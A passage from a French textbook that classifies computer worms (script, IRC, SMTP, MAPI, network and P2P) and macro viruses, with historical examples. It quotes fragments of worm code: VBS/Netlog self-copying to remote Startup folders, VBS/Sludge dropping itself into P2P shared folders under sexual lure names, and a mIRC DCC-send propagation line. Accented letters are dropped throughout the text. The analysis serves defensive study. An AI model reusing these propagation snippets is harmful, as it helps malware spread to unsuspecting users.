MTHODE Autorisation dextension Cration de leurres double extension Fonction copyfile CIBLE Poste Poste (Gnutella) Poste Poste (Kazaa) Disques partags locaux ou globaux EXEMPLE DE VIRUS VBS/GWV VBS/Sludge.worm (SlageHammer) VBS/Netlog DATE 03/00 0203 03/03

Citons comme exemples : VBS/GWV1. Il date de mai 2000 et sattaque au rseau Gnutella, concurrent de Napster. Il modifie le fichier Gnutella.ini en y ajoutant lextension .vbs dans la liste des extensions admises. Cela permet ensuite le transfert de ce nouveau type de fichiers :
Behavior Control Parameters Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename NewFilenames = Array(ProgramName & ".vbs", "Jenna Jameson movie listing.vbs", "Pamela Anderson movie listing.vbs", "Asia Carerra movie listing.vbs", "xxx FTP movie listing.vbs", "ASF Compressor (No quality loss).vbs", "collegesex.vbs", "Gladiator.vbs" [] GnutellaPath = "C:\Program Files\gnutella\" GnutellaIni = GnutellaPath + "gnutella.ini" VictimFilename = "Yet another GWV! " (Gnutella Worm Victim :)

Dunod La photocopie non autorise est un dlit

VBS/Netlog. Utilisant des combinaisons de nombres alatoires, il gnre des sries dadresses IP et tente de dcouvrir un disque distant contenant un rpertoire Windows. Il se copie alors dans celui ci ainsi que dans le rpertoire de dmarrage en esprant tre ainsi excut lors dun redmarrage de la machine :
do do while driveconnected = "0" checkaddress() shareformat() wshnetwork.mapnetworkdrive "z:", sharename enumdrives() loop copyfiles() disconnectdrive() loop
1. GWV Gnutella Worm Victim.

202

Chapitre 6. Les vers

function copyfiles() set fso = createobject("scripting.filesystemobject") fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.vbs", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.exe", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\msstar~1.exe", "z:\windows\startm~1\programs\startup\" end function function shareformat() sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C" end function

VBS/Sludge. Propos au tlchargement, le virus attend dtre rapatri sur la machine de sa future victime. En local, un double-clic sur le fichier entrane la cration de fichiers leurres dans les rpertoires partags :
files = array("10 naked teens.jpg","15yteenfuck.jpg","AdAware6.tar","illegalsex.jpg","kievgirl.jpg","Young russian teens.jpg","Bin Ladens Home.doc","Kamasutra2003.doc","Bush is crazy(and stupid).doc","How To Rip DVDs.txt","Eminem I am your father.mp3 ","Anton Schwul oder was.mp3") kl = (Pgdir & "\kazaa lite\my shared folder") & "\" if fso.folderexists(kl) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if kazaa = (Pgdir & "\kazaa\my shared folder") & "\" if fso.folderexists(kazaa) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if bearshare = (Pgdir & "\bearshare\shared") & "\" if fso.folderexists(bearshare) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if edonkey = (Pgdir & "\edonkey2000\incoming") & "\" if fso.folderexists(edonkey) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if morpheus = (Pgdir & "\morpheus\my shared folder") & "\" if fso.folderexists(morpheus) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if rem Ikarus by SlageHammer

6.2 Classification

203

Vers IRC
Ils se propagent au travers des canaux IRC1 en remplaant gnralement le fichier dinitialisation du client script.ini. mIRC (prononciation murk) et Pirch sont les 2 applications IRC les plus touches. Les vers sont conus pour se propager dun coup vers lensemble des internautes qui sont, un instant donn, connect sur le canal. Excuts en rception sur une machine cible : Ils localisent le rpertoire de lapplication IRC. Ils modifient ou crasent les fichiers script.ini (mIRC) ou events.ini (Pirch) avec leurs propres codes. Dans un second temps : Ils interceptent gnralement les commandes /JOIN pour rejoindre un salon et /DCC SEND pour se rexpdier. Ils poursuivent leur propagation lorsque le destinataire (nick) double-clic, son tour, sur la pice reue. Dans les versions mIRC infrieures V5.3, il est ainsi possible dcraser discrtement le chier script.ini original par une version infecte. Tout comme les script.ini, les nombreuses variantes du virus Dmsetup.EXE se propagent par DCC Send en infectant entre autre le chier mirc.ini. On retrouve gnralement, une commande du type :
N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }
MTHODE
Dunod La photocopie non autorise est un dlit

CIBLE IRC

EXEMPLE DE VIRUS IRC/Acoragil IRC/Theme.worm

DATE 12/97 09/01 08/98

SCRIPT.INI /DCC SEND MIRC.INI /DCC SEND

IRC

Dmsetup.worm

6.2.2 Langage compil


On distingue 5 sous-familles de vers : Sans sophistication et issus de lassembleur. Ils utilisent toutes sortes de mthodes lexclusion des composants COM dOutlook. Ils sont gnrale-

1. IRC Internet Relay Chats.

204

Chapitre 6. Les vers

ment des preuves par lexemple. Lauteur cherche dmontrer son savoirfaire, par exemple : W32/Fix@M. W32/Ska@M. Sophistiqus et issus de lassembleur. Ils utilisent des techniques de camouflage avanc (polymorphie, point dentre obscur) et sont parfois des infecteurs de fichiers (EXE ou Wsock32.DLL). Ils utilisent gnralement leur propre moteur SMTP, par exemples : W32/MTX@M, avec OEP, W32/Hybris@MM, avec plug-ins1, W32/Magistr@MM, avec OEP, polymorphique, anti-heuristique, antidebugging, utilise son propre serveur SMTP. Issus dun compilateur C (Borland, Microsoft C, ou plus frquemment Microsoft Visual C5 ou 6). Le code compil est dans la premire section, les donnes et constantes sont gnralement non-crypts et dans une section spare. Ils font appels aux API Windows, aux librairies, MSVCRT.DLL. Les composants COM dOutlook sont rarement mis en uvre. W32/Bymer.worm. Issus dun compilateur Delphi. Le code compil et les constantes sont en premire section. Les constantes sont visibles (pas de cryptage) mais disperses dans le code. La propagation se fait via SMTP ou MAPI. W32/Blebla@MM. W32/ExploreZIP@MM. Issus dun compilateur Visual Basic. Ils utilisent, pour la plupart, les composants COM dOutlook. Le code excutable compil et les constantes sont en premire section. W32/Mylife@MM. Dautres sattaquent MSN Messenger, par exemple : W32/Choke.worm. W32/Newpic.worm.

6.2.3 Mthodes de rplication


Vers SMTP (Internet Simple Mail Transfer Protocol)
Le ver construit lintgralit du courrier lectronique avec sa pice jointe. Il vhicule son propre client e-mail et utilise directement le protocole SMTP.

1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.

6.2 Classification

205

Pour fonctionner convenablement, il peut devoir reprendre certains paramtres lis loutil de messagerie prsent sur la machine. Il peut aussi tre autonome et sen affranchir compltement. Lmission se fait donc : En utilisant les paramtres lis au serveur SMTP affect la machine. Ils peuvent tre, par exemple, recherchs au travers de cls de registre telle que :
HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Server HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Email Address HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Display Name

Ou de manire totalement indpendante. Les indications utiles la transmission (adresse de lexpditeur, serveurs SMTP) sont vhicules par le virus. Citons comme exemple, W32/Sircam@MM. Il a besoin des donnes SMTP de la machine cible mais transporte avec lui les paramtres de son metteur immdiat. Il peut rutiliser les informations lies cet antcdent en cas de besoin. Les vers de messagerie forte propagation (sufxe @MM) entrent souvent dans cette catgorie. Nimda et Klez sont totalement indpendants du paramtrage SMTP de la machine. Ils se connectent directement au serveur distant quils projettent dutiliser. Notons galement que : Des fragments de messages sont souvent contenus dans le code. Tels W32/Nimda@MM, certains vers utilisent des exploits MIME afin de sactiver sur une simple prvisualisation sous Outlook ou Outlook Express. Les adresses des destinataires sont recherches via la MAPI de Microsoft ou dans des fichiers pralablement reprs par leurs extensions (*.wab, *.pst, *.nab, *.html) ou via des pointeurs lus dans la base de registres :
Dunod La photocopie non autorise est un dlit

HKLM\Software\Microsoft\WAB\WAB4\Wab File Name HKLM\Software\Netscape\Netscape Navigator\Users HKLM\Software\Microsoft\Outlook Express\5.0

Ladresse et le nom de lexpditeur peuvent tre falsifis. Dans ce cas, ladresse visible pour le destinataire nest pas celle de lmetteur rel. Cette technique dusurpation dadresse (ou spoofing) est trs frquente. Louverture dune connexion (un socket) est souvent ralise par Wsock32.DLL ; quelquefois par WININET.DLL. Les programmes crit en Visual Basic utilisent MSWINSCK.OCX. Le courrier est envoy via des commandes SMTP souvent visibles dans le corps du ver :
HELO, MAIL FROM, RCPT TO, SEND

206

Chapitre 6. Les vers

Dans cette famille, il existe une sous classe qualie dinfecteurs Winsocks. Ils infectent des chiers tels que Wsock32.DLL ou WS2_32.DLL. Ne pouvant immdiatement le modier, les virus dupliquent la DLL. Ils patchent leur code dans cette copie pour y intercepter ou remplacer la fonction send. Au dmarrage suivant de la machine, le chier modi vient remplacer loriginal et le virus peut commencer son travail. Il analyse dynamiquement le trac, intercepte les donnes transmises et les utilise pour lmission dun lment infect. Il envoie gnralement son propre message aux adresses pour lesquelles la victime met un courriel. Dans ce cas, le message original de lutilisateur est immdiatement suivi dun second message, propre au virus. Citons dans cette catgorie : W32/Ska@M, W32/MTX@M, W32/Android@M, W32/Suppl@M et W32/Babylonia@M. Ce sont tous des infecteurs lents (sufxe @M). Alors que Ska utilise Uuencoding, MTX insre sa pice jointe selon la mthode MIME-encoding1. De son cot, Babylonia ne cre pas son propre message mais sattache directement tout mail lgitime mis.
MTHODE SMTP CIBLE Autonome : utilise son propre client e-mail API Winsocks EXEMPLE DE VIRUS W32/Sircam@MMa W32/Magistr@MMb W32/Parvo@MMc (Griyo/29A) W32/PrettyPack@MM Fichiers Winsocks W32/Ska@M (Spanska) W32/MTX@Md DATE 07/01 03/01 12/98 06/99 01/99 09/00

a. FERRIE Peter et SZOR Peter (2001), SirCamstantial Evidence, Virus Bulletin, septembre 2001. pp 8-10. b. FERRIE Peter (2001), Magisterium Abraxas, Virus Bulletin, Mai 2001. pp 6-7. c. SZOR Peter, 1999b, Parvo One Sick Puppy?, Virus Bulletin. Janvier 1999. pp 7-9. d. FITZGERALD, Nick (2000), MTX-treme, Virus Bulletin, novembre 2000. pp 6-7.

Vers MAPI (Microsoft Mail Application Interface)


Ils utilisent MAPI32.DLL. Les commandes MAPI2 servent dinterface vers le serveur SMTP. Le vers contient des commandes du type :
MAPILogon MAPIFindNext

1. MIME Encoding : Multipurpose Internet Mail Extensions Encoding. 2. MAPI : Messaging Application Programming Interface.

6.2 Classification

207

MAPIReadMail MAPISendMail
MTHODE Commandes MAPI Outlook CIBLE EXEMPLE DE VIRUS W32/Navidad@M DATE 11/00

Vers OUTLOOK
Ils utilisent les composants COM1 dOutlook et sont pour la plupart crit en Visual Basic.
MTHODE Composants COM Outlook CIBLE EXEMPLE DE VIRUS W32/Mylife@MM DATE 08/99

Implanteurs de Script VBS


Ces vers transportent avec eux des scripts VBS quils implantent et excutent sur la machine infecter. Cest le mode de propagation le plus simple pour un virus non crit en Visual Basic. Le script implant contient le code li la propagation (IRC, messagerie, etc.). La pice jointe est constitue par lexcutable.
MTHODE Implanteur de VBS CIBLE Diverses : celles de virus en langage interprt EXEMPLE DE VIRUS W32/Urbe@MM DATE 07/03

Vers IRC
Dunod La photocopie non autorise est un dlit

Ils se propagent selon la mthode dcrite plus haut (langage interprt). On retrouve gnralement, non crypt dans le code du ver, la commande du type :
N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }
MTHODE /JOIN /DCC SEND IRC CIBLE EXEMPLE DE VIRUS W95/Fono (Vecna/29A) DATE 08/98

1. COM : Component Object Model.

208

Chapitre 6. Les vers

Vers du rseau
Les plus anciens se copient deux mme sur les disques partags, nous les avons dcrit succinctement au chapitre 3. Les plus primitifs taient les vers de disquettes. Dautres aujourdhui se propagent au travers des rseaux poste poste ou simplantent automatiquement par lexploitation de vulnrabilits connues et non patches. Ces derniers ciblent les stations Windows, les serveurs WEB du type IIS1 ou SQL.
MTHODE Copie de disque disque Gestion des demandes de fichiers Ver automatique [MS03-026] Ver automatique [MS03-007] Ver automatique [MS01-033] Ver automatique [MS00-078] Ver automatique [MS02-039] Ver automatique [MS04-011] CIBLE Toutes stations Windows Poste poste Stations Windows non patches Stations Windows non patches Serveurs IIS non patchs Serveurs IIS non patchs Microsoft SQL Server 2000 Microsoft Desktop Engine (MSDE) 2000 non patchs Windows XP Windows 2000 EXEMPLE DE VIRUS W32/Hayque.worm W32/Gnuman.worm (alias Mandragore, Gspot) W32/Blaster.worm W32/Nachi.worma (alias Welchia) W32/Codered.worm W32/Nimda@MM W32/SQLSlammer.worm DATE 02/02 02/01 08/03 08/03 07/01 09/01 01/03

W32/Sasser.wormb

04/04

a. FERRIE Peter, PERRIOT Frdric & SZOR Peter (octobre 2003), Worm Wars, Virus Bulletin, octobre 2003. pp 10-13. b. FERRIE Peter, PERRIOT Frdric (octobre 2004), Mostly Harmless, Virus Bulletin, aot 2004. pp 5-8.

Poste poste W32/Gnuman.worm apparat en 2001. Il cible Gnutella dj touch, un an plus tt, par VBS/GWV.
Le virus se connecte au rseau comme un super node. Il est conu pour grer les demandes de chiers et y rpondre en rutilisant le nom rclam auquel il adjoint lextension .exe. Le virus a une faiblesse, le fait de chercher rpondre lensemble des requtes sature la machine qui laccueille ; il nest alors plus mme dassurer efcacement les envois. Cette caractristique ne permit pas la propagation escompte par son auteur.
1. IIS : Microsoft Internet Information Server.

6.2 Classification

209

Vers automatiques Lattaque se fait en 2 temps, gnralement au travers de lexploitation dune vulnrabilit connue :
Depuis une machine infecte, le ver recherche un systme vulnrable. Lorsque celui ci est repr, le ver envoie un paquet spcifique mal form vers le port li la vulnrabilit (exemple : port 445 pour le ver Sasser). Lexploitation de la vulnrabilit entrane lexcution dune routine particulire transmise dans le paquet. Cette routine initie le processus de rapatriement et dauto excution du code viral. Dans le cas de Sasser, elle autorise lexcution de commandes arbitraires distantes au travers dun autre port : le port 9996/TCP. La transmission se fait gnralement de manire conventionnelle, via FTP. Le script qui gre le processus se termine par une instruction qui charge le ver en mmoire. Il participe alors son tour la recherche de nouvelles cibles potentielles. Lintroduction du code se fait gnralement selon la technique du dbordement de tampon (en anglais, buffer overow). Elle consiste mettre en mmoire plus dinformations que celle ci nest habilite en recevoir. Un systme non vulnrable refusera le code en dpassement de limite. Sur un systme vulnrable il y aura crasement dinformations dans des zones contigus qui sont normalement inaccessibles. En consquence de ce recouvrement, il deviendra possible de faire excuter un programme arbitraire avec des droits administrateurs. Le but est donc dcraser une partie prcise de la pile. Un simple saut (jump, call) astucieusement positionn pourra ensuite permettre lexcution du script malicieux galement contenu dans le paquet transmis.

Instant Messenger
la diffrence des canaux IRC, la messagerie instantane est ddie la communication prive. Quelques virus ont t dvelopps pour cette cible.
Dunod La photocopie non autorise est un dlit

Citons titre dexemple Choke ou Newpic. Ils sinstallent en rsidant par le biais dune cl de registre particulire qui les chargent en mmoire chaque dmarrage de la machine. Lorsquun message entrant est dtect, le virus y rpond de lui mme. Le texte qui accompagne la pice jointe est cens persuader le destinataire du bien fond cliquer dessus.
MTHODE AOL 4.0 MSN Messenger CIBLE EXEMPLE DE VIRUS APStrojan.qa@MM W32/Choke.worm W32/Floodnet@MM MSN Messenger v6.0 W32/Smibag.worma 05/02 09/03 DATE 01/00

a. REYES J.J & WONG Reginald (dcembre 2003), Its in the (smi)bag!, Virus Bulletin. Dcembre 2003. pp 4-6.

210

Chapitre 6. Les vers

Autres

Mthode Pegasus
MTHODE Remplacement des messages en attente denvoi CIBLE PEGASUS MAIL V3.x EXEMPLE DE VIRUS HLLT.Toadie.7800a@MM DATE 08/99

Avec HLLP.Toadie@MM, la mthode consiste remplacer le contenu des courriers sortant par le message viral. La pice jointe infecte est attache au message et le texte, joint au chier, remplace celui prpar par lmetteur.

Mthodes Eudora Deux mthodes de propagation ont jusquici t exploites.


MTHODE Cration & excution de .MSG Via OUT.MBX & OUT.TOC CIBLE EUDORA MAIL EUDORA MAIL EXEMPLE DE VIRUS W32/Sysclock@MM W16/RedTeam@MMa (The Soul Manager) DATE 07/99 01/98

a. GORDON Sarah, PERRIOT Frdric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.

La premire consiste crer de toute pice un chier message. W32/Sysclock utilise cette formule : Recherche du rpertoire dinstallation. Collecte des adresses dans le fichier Out.mbx. Cration du courriel infect (User.msg), ajout des adresses collectes, mise en forme du sujet et du corps du message, attachement de la pice jointe (c:\pkzip.exe). Excution de la commande Eudora sendmail. La seconde mthode fut utilise par W16/Redteam : Collecte des alias des contacts du carnet dadresse (il sagissait alors du fichier Nndbase.toc). Ajout du message dans le fichier Out.mbx. Modification de la table des expditions Out.toc.

NNTP Ils utilisent les groupes de discussion pour se propager. Citons comme exemple certaines variantes de W32/Duksten@MM et W32/Torvil@MM.

7
Macro-virus et virus de script

Ce chapitre nabordera que les virus au sens strict du terme, les vers en langage interprt ont t dvelopps au chapitre prcdent. Les macro virus constiturent un temps la principale menace et furent en tte des divers TOP-10 mondiaux. En France, on estimait quune machine sur 12 avait subit une attaque virale en 1997. cette poque, 80 90 % de ces attaques taient dues des macro virus. Aujourdhui, les macros virus ont quasiment disparus. La mise en place de protections efcaces au sein dOfce et la facilit des modes de dtection gnriques et heuristiques sont sans doute lorigine de cette dsaffection. Ces virus nont, de plus, quun faible intrt technique. Ces diverses raisons nous amnent naborder ici que quelques grandes lignes. Ce chapitre sera le plus court de ce livre.

7.1 MACRO-VIRUS
Les macro-virus cherchent infecter les documents crs par les logiciels de bureautique les plus rpandus. Ces documents que lon pouvait, il y a 10 ans, considrer comme de simples fichiers texte contiennent maintenant des listes dinstructions ou macros qui peuvent prendre un caractre malveillant. Les premiers macro-virus ont cibl loutil bureautique de Microsoft le plus rpandu lpoque : WORD-6 et WORD-7 (WORD-95). Ils taient alors crits en WORDBASIC (WB). Les versions suivantes dOfce ont adopts le Visual Basic for Application (VBA). Cest avec ce langage que les virus ont ensuite t crits.

212

Chapitre 7. Macro-virus et virus de script

WORD et EXCEL ont toujours t privilgis par les auteurs de virus. Des virus existent cependant sous ACCESS et POWERPOINT. Tous ces virus furent un temps recenss dans une liste intitule Macro Virus List que lon peut trouver sans problme sur Internet1. Ils sont classis par ladjonction dun prxe repris par la plupart des concepteurs danti-virus.
Tableau 7.1 Prfixe des macros-virus selon leur cible PRFIXE W1M W2M WM W97M W97M XM XF X97M X97M AM A97M A97M PP97M P98M WORD1 WORD2 WORD6 / WORD95 WORD97 (Module) WORD97 (Module de Classe) EXCEL5 / EXCEL95 EXCEL5 / EXCEL95 (Formule) EXCEL97 (Module) EXCEL97 (Module de Classe) ACCESS2 ACCESS97 (Module) ACCESS97 (Macro) POWERPOINT97 MS PROJECT 98 CIBLE W1M/Blur W2M/Polite.A WM/Cap W97M/Nightshade W97M/Class XM/Laroux XF/Paix X97M/Laroux X97M/Sugar AM/Accessiv.E A97M/Accessiv.A A97M/Ssonic PP97M/Vic P98M/Corner.A EXEMPLE

Dautres plates-formes, tels que Lotus Amipro/WordPro, Lotus 1-2-3, Corel 7-9 et Visio 5 ont fait lobjet de quelques attaques.
Tableau 7.2 Quelques exemples de macro-virus CIBLE Lotus AmiPro Lotus WordPro EXEMPLE APM/Green_Stripe.A LWP/Spenty DATE 01/96

1. Bontchev Vesselin, Brunnstein Klauss et Dierks J. (1995-1999), Macro Virus List (PC + MACINTOSH). ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/

7.1 Macro-virus

213

CIBLE Corel DRAW Corel PHOTO-PAINT Corel VENTURA Lotus123Macro Visio 5 MSWrite Windows32 HLP files Windows INF files AutoCAD 2000 CSC/CSV.A

EXEMPLE

DATE 05/99

Dropper://Ramble.A V5M/Unstable Bozo.A Win95/Ussu INF/Xver.ow AC2kM/Star.A 08/99 11/98 01/00

Le langage de programmation utilis tant indpendant du systme dexploitation, certains virus purent aussi se propager sur des plates-formes multiples (WINDOWS-3.11, 95, NT, MACINTOSH SYSTEME 7 ou SYSTEME 8) ds quelles accueillaient la mme suite bureautique. Tous les outils bureautiques furent affects. Pour mieux atteindre certaines cibles qui ne font pas lobjet dchanges incessants entres utilisateurs, le concept de multiapplication fut remis la mode (la terminologie multipartite est ddie aux virus systme et programme). Citons ici, O97M/Tristate qui cible conjointement WORD-97, EXCEL-97 et POWERPOINT-97. Mais tous les cas furent rencontrs comme le laisse envisager la table suivante.
Tableau 7.3 Quelques macro-virus multi-application CIBLE W97M + X97M
Dunod La photocopie non autorise est un dlit

FAMILLE DE VIRUS W97M/Shiver + X97M/Shiver W97M/Tristate + X97M/Tristate + PP97M/Tristate W97M/Cross + A97M/Tox W97M/Corner + P98M/Corner

DATE 09/98 01/99 04/98 10/99

W97M + X97M + PP97M W97M + A97M W97M + P98M

7.1.1 Mode de Fonctionnement sous Word


Le principe de fonctionnement dcrit ci dessous sapplique aux diverses versions dOffice. Cependant, au fil dentre elles, de nombreuses protections ont t mises en uvre et le droulement dinfections tel quelles sont dveloppes dans lensemble de ce chapitre ne peuvent plus se faire silencieusement. Soit le processus est bloqu, soit lutilisateur reoit des messages dalertes qui lincitent la prudence.

214

Chapitre 7. Macro-virus et virus de script

Aujourdhui, seul un utilisateur ayant volontairement rduit au minimum son niveau de scurit se trouve vulnrable face ce mode opratoire : Le virus contamine lenvironnement de travail par le biais de macros automatiques. Il infecte les documents par le biais dinstructions standards redfinies : Dtournement de macros standards ou, Remplacement de menus ou, Redfinition de boutons ou de touches fonction. Dans un premier temps, les macro-virus furent souvent dpendants du langage national. Ces nouveaux venus tant quasi exclusivement dvelopps sur des versions anglophones, la France fut un temps prserve. Faciles raliser, les virus se sophistiqurent. Bon nombre dentre eux surent se propager sans problme avec les versions anti-SR1 dOFFICE 97 qui prsentait pourtant quelques lments de protection supplmentaires. Il fallut attendre Ofce 2000 pour voir sloigner cette menace.
Tableau 7.4 Degr de sophistication de quelques macro-virus VIRUS Concept.A Wazzu.A NPAD.A MDMA Colors Outlaw OUI OUI FURTIF OUI OUI OUI OUI CRYPTE OUI POLYMORPHE

Chaque fois quun nouveau document est cr, WORD charge, puis utilise, les valeurs par dfaut du modle normal.dot. Ce chier, appel modle global, est en fait un document spcial qui contient des paramtres prdnis destins faciliter la mise en forme et llaboration des documents. Il peut contenir : Du texte et de la mise en forme. Des styles. Des insertions automatiques. Des macros. Des affectations de menus et de touches. Des barres doutils.

Le modle global est automatiquement sauv la n de chaque session et automatiquement charg au dmarrage de WORD. Lobjectif premier dun macro-virus est donc de linfecter en priorit. Lenvironnement de travail se trouvera ainsi tou-

7.1 Macro-virus

215

ch en permanence et linfection pourra, selon les cas, se propager tous les documents ouverts, ferms ou crs.

Techniques de base louverture dun document, WORD examine en premier si celui-ci contient des macros. Si une macro automatique est prsente et que les rgles de scurit sont faibles (ctait le cas avec les premires versions dOffice), elle est excute sans pravis :
AutoOpen louverture du document. AutoClose la fermeture du document. Une premire technique dinfection cherchant intgrer dans le modle global des macros reprenant les noms ci-dessus permit linfection immdiate des documents manipuls (ouvert ou ferm). Conjointement ces macros, le virus supplantait la macro intgre FichierEnregistrerSous (FileSaveAs) par une autre macro. Elle portait le mme nom et tait sauvegarde dans le modle global. Cest cette double technique quutilisa le virus WM/Concept.A. Ce premier type de virus est donc dpendant du langage national. WM/Wazzu contourne cette limitation. Il ne contient quune seule macro automatique AutoOpen : louverture dun document infect, la macro se copie dans le modle global et linfecte. louverture dun document sain, qui ne contient pas de macro, cest cette nouvelle macro, contenue dans le modle global infect, qui est excute et qui infecte immdiatement le document. Partant de la mme ide, le macro-virus WM/MDMA ne possde quune seule macro AutoClose. Lintrt de ce virus rside en son cryptage. En effet, les virus examins jusquici taient faciles tudier (et malheureusement faciles modier !) : il sufsait dditer la ou, les, macros avec la commande de lpoque Outils/Macro/Modier. Dans le cas prsent, cette possibilit tait interdite. Les autres intrts de MDMA sont : Lutilisation de fonction. La manipulation des registres sous Windows-95. Abordons maintenant les techniques de furtivit. Un virus furtif doit cacher sa prsence lutilisateur. Une premire mthode simpliste consiste dsactiver la commande Outils/Macro. Cette technique semi-furtive a t propose avec le virus WM/Colors1. Dans le cas prsent, lappel du sous-menu Outils/macro ne fait que ramener lutilisateur sur son document de travail.
1. The macro virus writing tutorial. Document de Dark Night.

Dunod La photocopie non autorise est un dlit

216

Chapitre 7. Macro-virus et virus de script

Dautres virus liminrent galement les entres OutilsPersonnaliser et FichierModles. Cette technique a cependant ses limites. La commande Outils/Macro (WORD franais) est lie la macro intgre OutilsMacro (WORD franais) ; son quivalent anglais est ToolsMacro. La mise en place de la macro de substitution, qui porte le mme nom, rend donc le virus dpendant du langage national. Cette limite fut contourne par le virus WM/CAP. Avec lui, quelque soit la version linguistique rencontre, il recherche et supprime des menus les entres Outils/Macro et Fichier/Modles. Colors et CAP ne sont pas totalement furtifs. Un utilisateur averti se rend compte dun certain dysfonctionnement en ne retrouvant pas intact sont environnement de travail habituel. Le virus WM/Hassle est plus sophistiqu. lappel de OutilsMacro, il renvoie lutilisateur une fentre identique celle prsente en standard en ne visualisant aucune macro. La polymorphie fut un autre aspect de la relative sophistication de certains macro-virus. Bien quil soit simple, le virus WM/Futurenot est : Polymorphe pour le nom dune des macros (variable sur 5 caractres). Polymorphe dans son code viral : Nom dune variable texte sur 3 caractres. Positionnement quelconque dune nouvelle ligne de commentaire durant chaque infection (texte fixe). Insertion de 2 lignes de commentaire (valeur dun nombre alatoire). Modification de lintitul de 2 commandes par adjonction despaces. Insertion de lignes blanches.
Le virus modie le chier autoexec.bat en ajoutant une ligne de commande qui te lattribut de lecture seule au chier modle normal.dot.

7.1.2 Mode de fonctionnement sous Excel et PowerPoint


Les techniques dinfection pour ces 2 plates-formes se rapprochent des prcdentes. Pour Excel, en labsence de modle global, le virus cherche infecter le rpertoire de dmarrage xlouvrir car tout chier prsent dans ce rpertoire souvre automatiquement avec lapplication. Pour cela, il tente dy positionner une feuille de calcul contenant le code viral. Pour PowerPoint, lquivalent du chier normal.dot se nomme blank presentation.pot ; cest lui qui est vis et infect en priorit. Les principaux virus sous Excel furent XM/Laroux et X97M/Laroux. Aucun virus PowerPoint natteint la postrit des mdias ; citons cependant : P97M/Phlaco et P97M/Yesi.

7.1 Macro-virus

217

7.1.3 Un cas particulier : XF/PAIX


Ce virus franais peut tre considr comme le seul virus ayant surpris la communaut anti-virale dans son ensemble. Il utilise lancien langage de formule peu document dExcel 97. Jai dcouvert la version initiale en France la n du mois de janvier 1998. Une version B date du milieu de lanne (aot 98). La version A comporte une feuille trs cache du nom de !!!GO, la version B une feuille du nom de !!!GA. Pour visualiser ce type de feuille, on utilise une macro du type :
Sub unhide() For Each sh In Sheets sh.Visible = True Next End Sub

Ces quelques lignes sappliquent la totalit des virus EXCEL. Elles ne sont cependant pas toujours sufsantes pour liminer la totalit de la furtivit. Pour XF/ PAIX, par exemple, il faut ensuite entrer un mot de passe pour visualiser le code viral proprement dit. Il est intressant de noter que lauteur de la version B a tent de changer le mot de passe. Bien quinscrit en dur dans le code de cette version, cest le mot de passe de la version A qui reste valide ! Le virus XF/Paix.A se manifeste lutilisateur de faon alatoire (1 chance sur 100). Il bloque alors la session de travail en afchant une fentre intitule Enn la Paix Sur un PC infect, la prsence du virus peut tre conrme par lexistence dun chier xlsheet.xla dans le rpertoire de travail ou dans le rpertoire c:\windows si le rpertoire de travail est sur un disque rseau.
Dunod La photocopie non autorise est un dlit

Le message de la version B est : putain deux ans ! ! .

7.1.4 Virus sous Access


A97M/Accessiv.A (alias JetDB) fut le premier du type. Lun des plus rcent (Juin 2004) est un mass-mailer du nom de A2KM/Sadip.A@MM. Accessiv fut dcouvert aux USA aux alentours du 20 mars 1998. Il ne contenait pas de message particulier et ne faisait que se reproduire en infectant les autres bases de donnes du rpertoire courant. Le virus est constitu dune simple macro autoexec qui lance un module VBA du nom de virus.

218

Chapitre 7. Macro-virus et virus de script

Except une variante pour Access 2.0, tous ces virus sont crits en Visual Basic for Applications, dune manire similaire aux virus Word et Excel. Notons cependant une diffrence : Access comporte un langage de macro structure tabulaire linstar de ce qui se pratiquait dans les anciennes versions dExcel. Cest par ce biais que se crent les macros automatiques. Ce sont elles qui permettent le lancement de modules de code VBA. Avec Access, macros et modules sont des entits distinctes et un virus sous Access est un mixage de ces 2 types doutils de programmation. Il existe au total quatre variantes pour Accessiv. Lune dentre elle afche de janvier mars le message :
I am the AccessiV virus, Strain B Written by Jerk1N, of the DIFFUSION Virus Team AccessiV was/is the first ever Access Virus!!!

Elle infecte les chiers *.mdb du rpertoire courant, des sous-rpertoires et du rpertoire racine. Elle cherche aussi implanter un virus programme (virus Jerkin.443, alias LVJ443) mais choue dans cette tentative. A97M/Tox est une famille de 2 virus. Un message interne indique :
The Detox Unit Access Macro Virus written by Sin Code IV (an old friend by any other name)

Ces virus sont plus sophistiqus que ceux de la famille prcdente. Lauteur (il sagit en fait de VicodinES) utilise certaines techniques de furtivit qui rendent le virus difcilement dtectable en premire analyse. Un autre virus intressant dans cette famille est galement sign par VicodinES. Il porte le nom de Cross. Il sagit du premier virus multipartite de ce type : il infecte la fois Access 97 et Word 97 (W97M/Cross, A97M/Cross). Son principal dfaut concerne sa taille : le chier normal.dot infect dpasse 300 Ko Il contient aussi quelques bugs qui entrave son fonctionnement normal. Une tude approfondie du virus montre que son processus dinfection est plus complexe quil ny parat. Les premires infections sont toujours multipartites mais des lments sains, infects par la seconde gnration du virus, perdront leur multipartisme. Il est donc normal de trouver sur une mme machine : Des virus Access multipartites (Access + Word, 2me gnration). Des virus Word multipartites (Word + Access, 2me gnration). De purs virus Word (3me gnration). De purs virus Access (3me gnration).

Si un virus de 2me gnration est diffus, le processus initial se reproduit sur la nouvelle machine cible ; sil sagit dun virus de 3me gnration, il ny aura plus de multipartisme.

7.2 Virus de script

219

7.2 VIRUS DE SCRIPT


